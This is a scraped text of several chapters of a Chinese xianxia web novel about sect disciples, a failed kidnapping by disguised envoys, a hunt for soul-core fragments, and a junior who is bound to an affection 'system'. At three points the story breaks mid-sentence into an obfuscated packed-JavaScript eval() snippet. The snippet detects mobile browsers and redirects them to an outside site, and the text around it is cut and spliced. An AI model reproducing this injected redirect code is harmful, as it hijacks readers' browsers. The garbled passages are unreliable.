“然后就……就我挣扎时候一推,他就——他就掉下去了。师姐,我是不是杀人了,我好害怕……我们如果现在下到深渊是不是还有可能让他得救?” 夏听雪往悬崖边一看,叹气道:“你不知道,这深渊底下可是西门师父之前捉来的冤魂恶鬼,即便是他没摔死淹死,也得被那些鬼魂四分五裂,吞食腹中。” 三个字,没救了。 只是师妹天真单纯,不但不在意自己差点被歹人所害,还因自己的过失之举害了人而担惊受怕,心生愧疚。 反倒是那家伙自食恶果,恶有天收,还免了与其缠斗一番的麻烦。毕竟一个玄级灵境的捉妖师,师父不在,光靠他们几人的水平,实在是难办。 她将闻了扶起来,难得温声安抚:“好了,这不是你的错。此人进谷别有用心,给我们下毒,又挟持你,伤你不成反掉下去,那是自作孽不可活。你做得很好。” 闻了一愣,接着擦擦泪水,手中紧紧攥着捂住伤口的布料。 她讶异道:“下毒?怎么会这样?” 夏听雪皱眉。她也没想到昆仑虚来的使者为何会如此行事,在她察觉到酒里有毒后封住自己经脉让毒酒只存于喉处,假晕过去。等她清醒,周围只剩下不省人事的两个废物,温芙和三个使者都不见了踪影。 “不清楚这三人的目的是何,但很明显他们是冲着温芙来的。当务之急——”话音还未落,林子里便传来女子的声音将她打断。 “师姐,师妹。” 是温芙。 她手里牵着绳子,另一端捆绑着两人,被迫地走在她身后,脸上更是极为不情愿。 正是小恒和莫莫。 看见好端端的温芙,闻了眉头微挑。 看来是她小瞧了。原以为众人都会中计被困,没想到两位师姐倒不愧是闻人语的弟子,能够迅速反应并将计就计。 既如此,就不需要她动手了。 温芙看见她捂着脸,关切道:“师妹怎么受伤了?” “此事稍后再说。你这是怎么回事?”夏听雪冷眼扫过被捆住的那两人。 “我察觉酒里有毒便假装饮下,果然是这几人动了手脚。我本还担心这二人实力是否在我之上,快要结界处时他们突然像是中毒症状,功力尽失,刚开始还动弹不得。所以我便轻轻松松将二人捆了。那名叫阿宇的中途往这边过来,我便也跟过来寻。” 温芙三言两语将大概的经过描述一番。 “许是那毒酒也让他们自食其果了。” “才不是!”莫莫立刻反驳,咬牙切齿地盯着闻了,眼中怨恨。 “那阿宇呢?你们可曾见过?”温芙扫视一圈没见到人影,询问道。 “他企图伤害小师妹,还划伤了她。此人已经失足掉下悬崖,断然是粉身碎骨了。”夏听雪寥寥数语,却让两位同伙眼中的希望荡然无存。 他们自然还指望着玄级灵境的阿宇前来解救,却不曾想竟然—— 夏听雪拔出长刀指着二人:“老实交代,你们到底是谁?今日此举又是想做什么?” 如今人为刀俎,我为鱼肉,唯一的希望已经坠入深渊,两人中毒丧失功力,哪怕是大宗师不出手,单凭朝阳谷中的弟子们也足以将他二人玩弄于股掌之间。 没有再负隅抵抗的理由。 “若我们如实相告,可否放我二人生路?”莫莫咬了咬唇,与她背对背的阿恒原本握紧的拳头也松开,似乎是认同了她的想法。 闻了抬眸看她。 “自然。我们并非要断人绝路之徒。”温芙许下承诺。 她态度温和,一路上虽用绳索将他们捆绑起来,但也并未趁他们手无缚鸡之力时施以暴行惩治,加之外界皆传温家千金品性淑良,待人友善。这样的诺言的确具有信服力。 莫莫眉头紧皱,表情纠结。 “我们是南靖探子,冒充昆仑虚潜入朝阳谷皆是受组织命令,前来捉拿温姑娘。至于原因……我们作下属的只听命令,并不清楚其中缘由。不过,据我所知,似乎是因为一则……预言。” “预言?所言为何?” 莫莫摇摇头:“多的我们真的就不清楚了。阿宇才是深受组织器重的,我们俩不过是小喽啰,这些重要的细节根本没权力过问。” 小恒适时接过话头:“你们放了我们后,我们回去便帮你打听清楚那预言到底是怎么回事。” 两人能交代的说完后,温芙思索片刻,当真要上前为他们解开绳索。 “慢着!”夏听雪上前一步,拦下她,“你还真要就这么放了?依我看,还是应该带回地牢,等师父明日出关后由他审问定夺。这两人所说不一定真,还得防备着。” 温芙一愣,面露不忍之色:“可是地牢里妖物众多,他二人进去定会受折磨而且我方才已经答应,既然他们并没有犯下重罪,伤害到我们,不如就……” 可惜夏听雪是个暴脾气,没等她说完用力将她推开,自己夺过绳索在手掌心缠绕几圈。 “师父收的徒弟真是两个废物,一个傻子。”她愤愤道,拉着两人往北峰走,也不论温芙是否同意。 毕竟二师姐都发话了,温芙也只好默不作声地跟上去。 等走到设晚宴的院子,那一桌凉掉的菜还摆在桌面上,地上躺着两个不省人事的家伙。 …… 莫莫和小恒被关在柴房,由几人中灵境最高的温芙设下结界,既免去牢狱之苦,又将二人关押等待师父发问。 至于中毒的两人已经在夜里苏醒过来,大师兄倒还好,症状轻,而裴知珩却不知怎么反反复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464356|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复高烧,始终不见好转,一直到次日清晨才好了许多。 闻了到正殿时就见慕容师父抓好了药,正叮嘱温芙服药的诸多事项。 “这小姑娘下的毒还挺狠的。”她笑着将药分成两副,“小裴身子弱,得吃点苦,记得至少三日不能让他动气。情绪稳定是最好的良药。” 说罢,察觉到有人靠近,她抬头,撞上闻了的视线。 “慕容师父。”闻了微微欠身行礼。 慕容芝安,五大宗师之一,也是其中唯一的女子。她一双细长妩媚的狐狸眼,眼尾勾人,但最喜素色装扮,也不爱在脸上涂抹胭脂水粉。 医术难学,更难达巅峰,但慕容芝安凭着一手妙手回春的医术,加上剑法高明,一跃而上,直达十三境。世间奇才不过如此。 闻了脸上的疮痕便是慕容师父一直在为她医治。 “听说你脸上被划伤,怎么样了?”慕容芝安看见她,亲切地走上前来。 慕容师父虽然样子看上去不好接近,但性子实在平易近人,也会体贴小辈。与她相处,闻了觉得很舒服。 “不打紧,昨晚涂了点膏药已经好了很多。”她微笑着,脸上已经换上了新的面纱,看不真切。 温芙接道:“但是师妹的红疮比之前都来得早,慕容师父要不再给她换些好用的药?” 这可让慕容芝安犯了难。 自打三年前闻了入谷,她便一直在研究如何根治她脸上的红疮。本来也只是不难治疗的小症状,只是样子看着可怖,服用和涂抹她给的药,理应是不出半月便能好全的。 但也不知道为何,偏偏每月都会复发一次,前两年还好,每月发作时不到七天便能消退干净。但今年这几次发作每次都长达半月之久,以至于闻了几乎日日戴着面纱示人。 这算是她这位医修大宗师第一次遇见如此棘手的疑难杂症。 思来想去也只能猜测是不是闻了体质特殊,这病症从小便有,拖的时间太久而无法根治? “我这些日子一直在试药,不过等做出来怕是你们已经离开,用不上了。”慕容芝安叹了声气,将打包好的两副药递到温芙手里。 “我们离开?”温芙露出疑惑的神情。 “你们还不知道?”见两个小姑娘都是一副不知情的样子,慕容芝安才发觉此事还没有告知几位弟子。“这次昆仑虚派人来便是邀请你们去参加昆仑问道的。” 刚从偏殿绕进来的夏听雪听到后半句,不禁诧异:“邀请我们?难道不是请师父去吗?” 慕容芝安勾唇,却让人瞧出这笑意背后有几分嘲弄:“你们师父都无法出谷如何参加。”她话音一顿,好像刚刚的话只是个不足挂齿的小插曲,紧接着道,“本该由昆仑虚的使者亲自来接,他们被困半路,让那三个人趁虚而入,大抵得由你们自己动身前去了。等你们师父亲自——这不,他来了。” 闻了转身望去。 闻人语一袭白袍,腰带缀金色纹路,挂着一枚浅绿色玉佩。他长发半扎,其余青丝垂落至腰间,两鬓的白发与眼角的细细皱纹相映衬。他手中拿着一本墨绿色册子,面无表情,徐步走来。 从里面看去,他身子逆光,发丝被屋外阳光照射勾勒出一层细微的金黄色,面容叫人看不清晰,一如闻了第一次见他那般。 只是那日并不在朝阳谷内,没有这么好的阳光。 而是风雪交加,寒冷刺骨。 她挺着摇摇欲坠的身子跪在他面前,对着眼前的两位仙长,双手鲜血捧上一枚新鲜的妖丹。她只记得站在最前面的便是闻人语,虽然看不清他的脸,但是仍能记得他腰间的那枚绿玉。 而她身着单薄衣裙,颤抖着双手,不停地重复呢喃着: “求仙尊……收留。” 5. 第 5 章 青霞殿书房内。 这里是闻人语平日画符练字的地方,很少让其他人进来。在闻了的印象里,大多只有同其他几位宗师商讨重要事宜之时才会见到旁人进去。 而今天,闻人语把五位弟子召集在一起。 他将那关合上的墨绿色册子递到闻人心手中。 “昆仑虚之前就将这邀请送了过来,现在他们人来不了,拿着这册子去就行。” 眼看册子交到了大师兄手里,四个人都以为这事已经交由大师兄一人操办了。 夏听雪撇嘴,有些不乐意:“这昆仑问道可是要切磋和出题的,闻人心不过是地级下境,我和温芙地级上境都在他之上。为何单单派他去?”总不能因为他是师父的儿子,就偏心吧。 她把后面一句话咽进了肚子里。 闻人语身子往后倾,靠着椅背,抬眸看着站得零零散散的五个徒弟。 “谁说只派他去了。”他伸出食指对着闻人心动了动。 对方立刻了然,打开册子,目光从右至左,跟随文字移动。 “昆仑问道在即,昆仑虚意在各路侠士齐聚于此……特此邀请朝阳谷莅临。”闻人心省略掉中间一大堆用华丽辞藻描写的废话,看向末尾的留名,“参与者闻了,同行者闻人心、夏——我们都去?!” 他抬头,有些讶异地看着闻人语。 其余三人也是露出困惑的神色。 闻了默不作声。 离开朝阳谷……从她入谷以来便从未想过这个问题,而且她曾问过温芙,对方也没有要出谷的打算,这对她来说也是好事。若是温芙要走,也许她也不得不跟随,否则离开女主角的朝阳谷便只是个命数不定的角落,说不定哪天就殒灭,成为女主角成长路上的一道疤痕。 其他人的生死与她无关。 但她必须活着。 只有活到最后,她才能拿到想要的东西。 闻了垂眸。 既然温芙也要去,那她对于这个安排便无异议。至于其他的……就兵来将挡水来土掩罢。 不过,已经三年了。 与世隔绝三年,她都快忘了外面的世界是怎样的。 这样的安排很突然也让人意外,但闻人语并没有解释清楚的打算:“一起去,明日启程。” “明日?”闻人心愣住,“这也太急了,我们还什么都没准备……昆仑问道不是下月底才举行吗?” 还有足足一个月—— 闻人语拉开抽屉,从里面取出一个方形的小盒子,再将一块布帛展开摆在桌面上。他打开盖子,露出盒子中被小心翼翼包裹起来的一块干净透亮的碎片,像小小的月牙,透着玉石的质感,但又泛着淡淡的红色气息。 “明日启程,到昆仑虚之前你们要完成一件事。”他垂眸看着那碎片,“这是魂核碎片。一共有八个,你们去将剩下七片找到,让它们归位合一。” “师父,这魂核……是谁的?”闻人心看着那弯月牙,好奇道。 魂核乃是妖族所生。普通的妖一般只能孕育出妖丹,妖族分为九阶,唯有六阶以上才能生出魂核,这等妖物想要击杀的话最致命的方法就是毁掉其魂核。也有传言猜测,有一些特殊的妖族生来便拥有魂核,比如曾经盘踞在巫咸国附近的蛇妖一脉,又或者已经泯灭的青丘狐族。 不过,魂核的力量可以为人所吸收,因此后来有些捉妖师击杀六阶以上大妖后会将其魂核据为己有又或者倒卖出去,变成增长功力的法宝。妖族魂核一度风靡,以至于后来除了利用妖族的魂核,一些修士还无中生有,创造出了新的独属于凡人的魂核。这些魂核一旦进入人体便与人的性命相连。 只是不知道,师父手中这枚碎片曾经的主人是人是妖。 “拼出来后就知道是谁的了。”闻人语笑了一下,依旧是语焉不详。 他指向一旁的布帛,上面完整而概括的绘制了各大国的位置,而其中几个被打上了三角标记。 “剩下七个的大概位置都在这上面,我已经标注好了。你们只需要按着这个去找。” 夏听雪凑近一看,一眼便注意到最上方的昆仑虚也被打上记号:“昆仑虚也有一枚?” 闻人语抬抬眼皮,手指点在布帛上,从朝阳谷出发一路沿着卫国往上,穿过南靖过后直达昆仑虚,再往旁边折返去向其他标记点:“先从这一路过去,到昆仑虚拿到碎片后继续往下一个地方去,等收集所有碎片后再告诉我。” 是告诉,而不是回来。 也许拿到所有碎片,他们还有事情要做。 “这是你们的路线。”师父将布帛卷起递给闻人心,“也是你们必须完成的任务。” 他一手撑着下巴,另一只手用指尖轻点桌面,双眸微眯,轻飘飘传来一句:“完不成就别回来了。” 看见几位徒弟陡然紧张起来的样子,他又哈哈大笑:“开个玩笑。早去早回,为师一个人可无聊呢。” 说罢,他将方形盒子关好,对着闻了招招手:“老四保管好。它会给你们指路。” 闻了将盒子揣在怀里。 心里却有些不明白这么重要的东西,为何会交到她手里。 她可是这五个人里灵境最低的。 “没什么事就——” “师父,今天来的那三个,那两个人该怎么办?”夏听雪立刻插话道。 这事他们已经跟闻人语汇报清楚了,连莫莫的供词也都一一禀告完,只是闻人语一直没有表态,半道还说起去昆仑虚的事。 “啊他们——就关到地牢里吧。老大待会带过去,等我闲下来再去盘问盘问。”闻人语一副不在意的模样,打了个哈欠,右手摆了摆,就要起身离席。 温芙上前一步,皱着眉头:“可是师父,地牢里还锁着妖怪,那地方阴暗潮湿,妖气弥漫,他二人如今功力已失怕是很难承受住。既然他们目标是我,也并未伤害到我,不如就放了——” “老三啊。”闻人语站起身,从她身侧走过时停住脚步,伸手轻轻拍了拍她的肩,“有时候心太软不是件好事。” 话音落在温芙耳畔,激起她心中波澜。 师父要交代的事都说完了,几人便打算各回各的房间收拾行李。剩下闻人心前去将莫莫二人带往地牢。 “师妹不用帮忙的,我一个人可以。”闻人心拉着捆住小恒的绳索,回头说道。 闻了拽着莫莫的胳膊跟在后面,温温柔柔地弯眼:“我行李不多,反正也是闲着。而且是我没有好好审查这几人,才将他们给放了进来,如果我再仔细些,师兄就不会中毒了。” 闻人心回过身,心底一股暖流。 小师妹向来是最关心他的,也最单纯,想来还在为失手将人推下高崖,以及错信这三个不怀好意之人而愧疚。 出谷之后一定要好好带她在外面热闹繁华之处多逛逛,排解下她心中的郁闷。 进了地牢,一股阴湿霉味扑面而来,闻人心怕她受不住:“要不你在外面等?” 闻了摇摇头:“没事的师兄,我鼻子不灵。” 莫莫和小恒两人被分开安排进了两间狭窄的牢房,一头一尾,防止他们有任何可以合作与串通的行为。 闻了将人送进去,低头锁门。 “预言到底是什么?” 莫莫看着她,闭口不言。 “那我换个问题,你们还派了多少人抓温芙?” 三个人,一个擅长下毒,一个擅长伪装,一个是玄级灵境。而且师门其他人都没提出来的一个问题,为何他们能阻挠真正的昆仑虚使者准时到达,为何能仿制出逼真的昆仑虚信物,同时还能知晓朝阳谷四位宗师闭关的时间,掐着点前来。 这次计划失败,却不可能就此罢休。 这也是为何她觉得温芙的确很傻,只想着宽宏大量放人走,却没想过保护好自己的小命。 师姐哪都好,就是太心软了。 “毒是你下的对吧?”莫莫抓住木杆,没有回答她的问题,反而低声质问道。她憋了一路,还是想要问个清楚。 她从小便开始学毒用毒,最有天分,寻常人中了她的毒不可能会在她预计之外痊愈。温芙和夏听雪皆是地级灵境,察觉到有毒提前阻断倒是正常。但是眼前这个平平无奇的小师妹,明明灵境极低,身体又瘦弱,阿宇亲眼看见她吃下去糕点,可她竟然像个没事人一样。 而自己和小恒竟然不知在何时被人下了毒。这毒来得太蹊跷,连她都未曾察觉,更无从解起。她思来想去,只能把闻了列为怀疑目标。 “何以见得?”闻了觉得有趣,把玩着栓好的锁,弯着眼看她。 “……”莫莫硬着头皮道,“我们进谷以来接触得最多也最亲近的只有你。你是什么时候下的毒?是什么毒?” 纵然她心中有猜测,却一无所知。闻了像是藏在雾里,任她怎么睁大眼睛也看不清楚。 “莫姑娘,你们并非南靖探子,对吧?”闻了没有回答她的问题,却丢了个更大的谜题给她。 莫莫瞪圆了眼,连找补的话都忘了说:“你怎么——” “下次说谎前调查清楚。南靖的组织用毒可不是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那个小师弟。 莫莫只在昨日的饭桌上见过他,但记在了心里。 只因此人眉眼生得的确好看,举手投足又是少年恣意,说话与神情都张扬得很,一点也不收敛。她很少见到这样的男子。而且,也没想到这人实力弱得超乎她的想象。 此刻,他正穿着一身黑色蟒袍,隐在这幽暗之中。她能看见他手里拿着一把闪烁银光的东西。 是钥匙。 “你同伙说,你知道一些关于我小师姐的秘密,让我来问你。”裴知珩抛了抛手里的钥匙,居高临下地看着她,“详细说给我听,我就放了你们。” 莫莫狐疑:“你师姐的秘密,你知道了难道不会杀我们灭口?” 她记得这小师弟和闻了关系很亲近。 裴知珩忽而一笑:“噗嗤。我的表演已经这么让人信服了吗?” 他蹲下身子,单手撑着下巴:“放心,不会灭口。只要你的消息有价值——”他晃了晃钥匙,银光在莫莫眼底闪过。 莫莫咬唇,沉默许久,最终还是松口。 如果裴知珩真的是维护闻了那边的,应该不会心生怀疑还特意到牢房来询问他们。反正她和闻了也不是合作关系,将猜测透露给他,还能换来自由,也未尝不可。 她将闻了下毒与故意杀害阿宇的猜想全盘托出。 “阿宇亲眼看见她吃完有毒的糕点,而且我去找他的时候也看见她已经倒地不起。但是不到三个时辰她竟然安然无恙地出现,还与阿宇起争执。我身上的毒也只有她有下手的机会——也许是她送我们去厢房的时候,或者……” 这点是最奇怪的。 她断定毒就是闻了下的,可到底是什么时候,又是通过什么方式才能让她和小恒都…… 莫莫瞳孔微缩,颤抖着双唇,竟是笑了出来:“取暖石!一定是、一定是取暖石!进谷前她给了我们一人一个取暖石!那上面一定有问题!” 这猜测倒是明确得多。 裴知珩歪了歪脑袋,松松筋骨,起身:“多谢你的情报。” 看他转身要走,却忘了将钥匙留下,莫莫一慌:“钥匙!你说了要放我们走的。” “这个啊。”裴知珩停住脚步,抬起手对着钥匙端详片刻,扔在地上。那闪着银色亮光的钥匙瞬间化为乌有,“这是假的。” “你!你明明说好了——” 他甩了甩手腕,唇角勾起,眸中带着嘲弄的笑意,在黑夜之中像捕猎之后品尝美味的凶兽,高高在上地欣赏自己的战利品残留下来的那丝怨念。 “骗你的,谁让你信了呢?” 6. 第 6 章 天色已晚,四周静悄悄的。裴知珩从地牢出来后,一路没见有人,他只身穿过窄巷,动作轻盈利落,将自己藏身于阴影之中,警惕地看了看四周后,靠墙而立。 他取出怀中揣了一路的册子和笔,慢腾腾地打开,目光一路往下,像是在欣赏着自己的杰作。 巴掌大小的册子上是一条条建议,按顺序从上往下,已经有几条被他划掉。 直接表白——最能让少女心动的方式。 划掉。 询问好恶——问清楚心上人喜欢和讨厌什么方能对症下药。 打勾。 打探理想型——变成心上人喜欢的样子必能事半功倍。 打勾。 送花——女孩子都喜欢花,讨她芳心必备。 裴知珩落笔将这一条也划掉,紧接着往下——拥有秘密,秘密是两个人交心的开始。 他用笔尾戳了戳额头,沉思片刻这条建议上画了个醒目的圈。 秘密……闻了的秘密到底是什么呢?那个姓莫的说了一堆废话,全是不靠谱的猜测,算不上秘密。不过倒是给了他一些方向。 算起来,他已经入谷三个月了。打探到的东西也就是闻了喜欢的口味和讨厌吃的东西,以及这个柔弱小师姐喜欢的男子类型。 能够保护她的,黏人主动又乖巧专一的。 裴知珩觉得自己扮演得挺像的。 当然,除了前半句。 以他目前的实力,加上闻了对他摇摇欲坠的好感,暂时无法实现。 “幺幺零,幺幺零。”低声呼喊了半天,没有任何回应。 这家伙,又睡了。 算了。 裴知珩收起册子。 现在叫她出来也无济于事。反正他的功力没有增加,已经能够直观说明闻了对他的好感度没有上升。 他捂着心口,回想起昨日送她花时的场景。 说不定又下降了。 真是奇了怪了。 明明他不需要做什么,刚入谷就有许多弟子对他芳心暗许,哪怕他不做什么,光靠这张脸也能吸引少女的目光。偏偏他紧紧黏上去的闻了对他的态度宛如磐石,坚硬不动。 甚至他照着这本花了五十两银子买来的芳心攻略手册已经完成了好几条,好感度却不增反减。 要不是被绑定了这个什么破系统,只有获取闻了的好感值才能增强功力,他才不会到这朝阳谷里来。好不容易入谷拜师,摇身一变成为闻了的师弟,能够同她近距离接触,但是一点进度都没有。 真是想不通了。 是他还不够主动,还不够乖巧,还不够黏人? 感情的事情太复杂了。 裴知珩将手册放回怀里,走出巷子,心里暗暗嘀咕着。 两个人关系亲近的关键是什么?建立起信任。就像手册上说的,掌握了对方的秘密便可以进一步地达成合作,也就能让闻了更依赖他一点。 也许他找到闻了的秘密就可以跟她拉近距离。若到时候需要他交换秘密来换取好感度,也不是不行。 他这么想着,为自己的下一步计划铺好了路,忽而听见背后传来一道熟悉的声音。 “阿序。” 温芙远远地就瞧见他,立马快步追了上来,神情竟是有些小心翼翼。 裴知珩顿时冷脸,脚步微顿后只丢下毫无起伏的一句:“温师姐又认错了。” 还没等温芙说话,他便头也不回地离开,任她在身后不死心地喊着。 裴知珩左右不分地乱转,终于甩掉了温芙。刚刚被她影响到的情绪在余光瞥见一个淡黄色身影时停滞。 小师姐? 这是他第一次在深夜见到外出的闻了。 距离有些远,但凭借那一身颜色,他能肯定是她。 趁对方没有发觉自己的存在,裴知珩立刻闪身躲进高墙的遮挡处,借着月光看她的动作。 她停在一扇门前,似乎犹豫了很久,往后退了好几步,然后抬头望向那高耸的塔尖。 裴知珩也跟着看去。 原来是祈年殿里的高塔。那里面不能进人,是用来存放妖丹和一些需要受到囚禁的六阶大妖。 他胡乱绕路而来,都没察觉到了这里。 那小师姐为何要到这里来? 他只能看见她的背影。 她抬起胳膊,掌心朝外悬在半空,像是……在抚摸那高塔,又或者是别的。 裴知珩有些纳闷。 他怎么感觉——闻了好像在对着高塔怀念着什么? 那里面有什么值得寄托思念的? …… 次日一早。 闻了坐在院子里,手里捧着药罐子,右手握着棒槌一点点将药材捣碎。 她刚收拾完行李就被西门弃召到南峰来。 原本是不乐意的,但想到下山之前最后来一次也未尝不可。毕竟她也在西门师父这里躲了很久的清闲,西门师父又待她不错。 西门弃还是同往常一样让她打扫院子,做些琐碎的小事。 不过不同的是,这次他也坐在院子里。 躺椅微微摇动,西门弃阖上眼,摇摇手里的蒲扇,吹起两鬓白发,很是悠闲。好像他就是一个普通的老头儿,在自家院子里吹吹风,贪得片刻休憩,不用操心任何江湖纷扰。 闻了不禁想到,没有入朝阳谷避世之前,这位鬼道集大成者是什么样的呢?是不是也和现在一样—— “专心点。我的药都要被你捣坏了。” 西门弃睁开眼,将偷看的闻了抓了个正着。 瞥见她脸上的面纱,西门弃眯了眯眼,哼笑两声:“慕容的医术看来是越来越差了。怎么还没好,我看见你脸上戴这玩意儿就烦。” 闻了低头:“是我体质太差,怪不得慕容师父。” 西门弃没有说话,她便继续捣药。 手都有些酸了。 闻了估摸着时间。大概还有一个时辰,他们便要起身出谷了。 “闻丫头,这外面可不比朝阳谷。这里有山有水,四季如春,吃喝不愁,也有人陪着。外面的人呐,里子都是烂的,还装得一副人模人样。”西门弃忽然开口,不知道是从哪个契机点想到这些的,“你真要跟着一起出去?” “师父的安排,徒儿不得不从。” “哼。”西门弃白眼。 “你若不想去,大可以装病,或者我去跟闻人那老头说,日后留你在我南峰,跟他再没瓜葛。他不就管不了你。” 那可要不得。 但西门弃的神情看上去是认真的。 似乎他真的有这般打算。 闻了将药罐放好,声音如细流滑过旁人耳畔:“等回来后会立刻来向西门师父问好的。” “我才不需要。”西门弃伸脚止住了躺椅的摇动,慢慢直起身,双眼看着闻了,仿若一个巨大的海底,幽深静谧,似乎包含世间万物的真谛想要传诵给她。 他只静静地看了两眼,然后又往后躺下,闭目养神,莫名其妙的话幽幽传来:“人终究是要死的。” “?”闻了歪头疑惑。 她也不是第一次听西门师父说这句话了。只是不明白这话出现在此刻的含义。 “这是给你的嘱托。好好品吧。”对方像个无赖,留下个没头没尾的谜题就甩甩手不管了。 闻了也不在意,和西门弃相处久了确实体会到了许多人所说的,这是个怪老头。 师父很怪,西门师父更怪。整个朝阳谷里四位宗师,大概只有慕容师父和她很少见过的那位东方师父最像个正常人了。 “西门师父从鬼道也是因为觉得外面的凡人大多装模作样,骨子里都是烂的吗?” 西门弃抬起眼皮,有些意外她主动询问。 “那这样的人化作鬼后,就不烂了?” 面对无知懵懂的提问,西门弃笑了两声,目光锁定在她充满好奇的双眸上:“没听过有句话叫好人不偿命,祸害遗千年?” 他伸出手,张开五指,在半空中抓了抓:“御鬼之术能御百鬼,任何鬼魂,即便也是祸害,都逃不出我的手掌心。但是人心是最难掌控的。” 闻了暗暗赞同。 “闻丫头,人有魂魄,妖也不例外。这世间有人化作的鬼,自然也有妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“老大偶尔愚钝,老二性子暴躁,老三又过于温和,老五就不说了。”闻人语喜欢这样称呼他们,还将他们之间的关系用“大哥”“二姐”这样的词来连接。 就好像他们是一家人,是亲密的兄弟姐妹,也都是他的孩子。 “你虽是排老四,灵境不如他们,但你——”闻人语拍了拍她的肩,笑而不语。 闻了感觉心尖颤动。 但说不清那是什么感觉。 也许是因为她从没有体会过把自己同别人放进家人这种亲密关系之中是何感受。 闻人语从袖中取出一个巴掌大小的锦囊,递给她。 白色的锦囊上绣着好看的纹路,样式简单,散发着淡淡的花香,两条细绳紧紧缠绕,将里面的东西保护得严严实实。 “这是给你的。等该打开的时候再看吧。”闻人语难得当了一次谜语人。 闻了细细端详着,手掌轻轻抚摸锦囊,能感觉到里面有东西,但这锦囊上应该被他施了术法,无法感知清楚那东西是什么形状大小。 “该打开的时候是什么时候?” 她很困惑地将锦囊收好。 闻人语双手负在背后,目视前方:“比如你很难受的时候。” 闻了还想追问,但他伸出手在她背后轻轻推了一把:“快走吧,别让他们等急了。” 看来要说的话都已经说完了。 “师父不送——” 微风拂过白色的面纱,卷起一角又很快落下。闻了回过身向师父行礼,看着他离开的背影渐渐消失在视线之内。 她环视四周,最后一眼细细描摹这个她待了三年的地方。 每一寸都镌刻着悠长的回忆。 在朝阳谷生活的日子是平淡的,也许可以说毫无乐趣。谷中弟子偶有抱怨生活无聊,期盼着每月弟子们出谷的那点放行日子。 但对闻了来说,在这里的每一次呼吸都是自由且平静的。 她渴求,也享受着。 自由和平静。 闻了收起目光,向着出口走去。 这两个词在她从前停留过的所有地方,都是奢侈得可望而不可得的。 如今,又要回去了。 7. 第 7 章 眼下正值寒冬,与朝阳谷内的春风和煦不同,外面冰天雪地,尤其是他们身处南方,潮湿的寒风将刺骨的冷意吹来,渗入骨髓慢慢扎根催生出体内的寒气,冻得人直发抖。 五个人里四个都是已经在朝阳谷里待了很多年的,习惯了谷内温和舒适的天气,乍然接触外界的冷风,很是不习惯,走出山谷后一路裹着毛领斗篷打喷嚏。 闻人心每月定期会出谷买卖东西,夏听雪也喜欢往外跑,捉拿山谷周边的小妖怪,这两人还算能扛得住的。但温芙和闻了都是足不出谷许多年,踏出最远的地方便是山脚,而且并未长时间待在外面。 她俩宛若习惯了待在温室里的娇花一般,承受不住骤然袭来的风雪。 “师妹,我给你的取暖石呢?”温芙从包裹里取出两个,一个揣在自己手里,一个给闻了。其他人都用上了她之前分发下去的取暖石,唯独闻了手里没有。 裴知珩看了眼手心的取暖石,又往身侧的闻了投去探究的目光。 “应该是落在屋里了。多谢师姐。”她坦然接过取暖石,看上去毫无破绽。暖意在手心蔓延,灌入经脉,让整个身子都暖和了起来。 师兄师姐们扛着繁重的行李往前走,他们眼中最为体弱的闻了则跟在后面,身旁黏着裴知珩。 “小师姐。”他忽然压低声音道,“你觉不得觉得很奇怪。” 闻了刚才就注意到他一直盯着自己手里的取暖石看,但没明白他有何用意。 “你右脸被划伤,按理说应该是个左撇子从正面伤你才对。”裴知珩的双眼紧紧盯着她的右脸,像是要将那被面纱遮住的伤口看透。而他意味不明的话语犹如毒蛇的信子轻轻扫过伤痕,瘙痒难耐的同时又勾起心底的排斥。 “那个阿宇好像不是左利手?” 他问道。 但根本不是在提问。 是在明晃晃地刺探。 这人……闻了心里升起一丝嫌恶。 以往老黏着她不放,碍事得很,求而不得又改换一副嘴脸,想要用威胁这一招。偏偏她最不怕被威胁。 闻了镇定自若地迎上他的视线,声音仍是那般温和悦耳。 “这世上也有左右手都使得利落的人。师弟觉得呢?” “昨夜我去拜访了那位莫姑娘,好像没听她提起阿宇两只手都惯用的事。反而听说好像有人给他们下了毒……” 裴知珩本附和两句套套近乎,话还没说完突然猛烈地咳嗽起来:“咳咳咳——”胸口处一阵细小的绞痛,密密麻麻地钻着心口,让他有一瞬喘不过气。 “师弟没事吧?”闻了扶住他,但双眼里全无关心,“师弟还是不要听信那种骗子的话,省得伤了心神。” 前面几人听见动静纷纷回头询问:“怎么了?” 裴知珩右手握拳挨着唇边咳嗽几声,哑着嗓子笑道:“看来我三个月没出来也是有点不能适应外面的天气了。” 一番嘘寒问暖后,众人继续赶路,闻了也松开手,走在他前面,没有再同他搭话的意思。 裴知珩低眸看着手上那一丝鲜红的血。 这次这么厉害,血都咳出来了。 本应该是懊悔才对,他心底却莫名升起一阵激动。 虽说好感值没升,还降得很多,但这说明他打探的那些十有八九戳中了闻了的心事。看来小师姐的确藏了很多秘密。知道这些也未尝不是一件好事,现下差点戳破引起她的反感只是因为她对自己还不够信任。 得做点什么进一步获取她的信任,才能让她的秘密成为拉拢关系的桥梁。 裴知珩勾唇,深邃的黑眸紧紧看着那道浅白倩影。 【功力大、大幅度下降!!宿主,你干了什么!?】 破系统睡到日上三竿终于被他弄出的动静给吵醒了。 “放心,死不了。” 【虽然我不能直接干涉你的攻略行为,但是我必须要强调一遍!追女孩子用你那破手册是没有——】 系统尖锐的声音刺得人头疼,裴知珩不爽地皱眉,直接掐断脑海深处和她的连接。 清静多了。 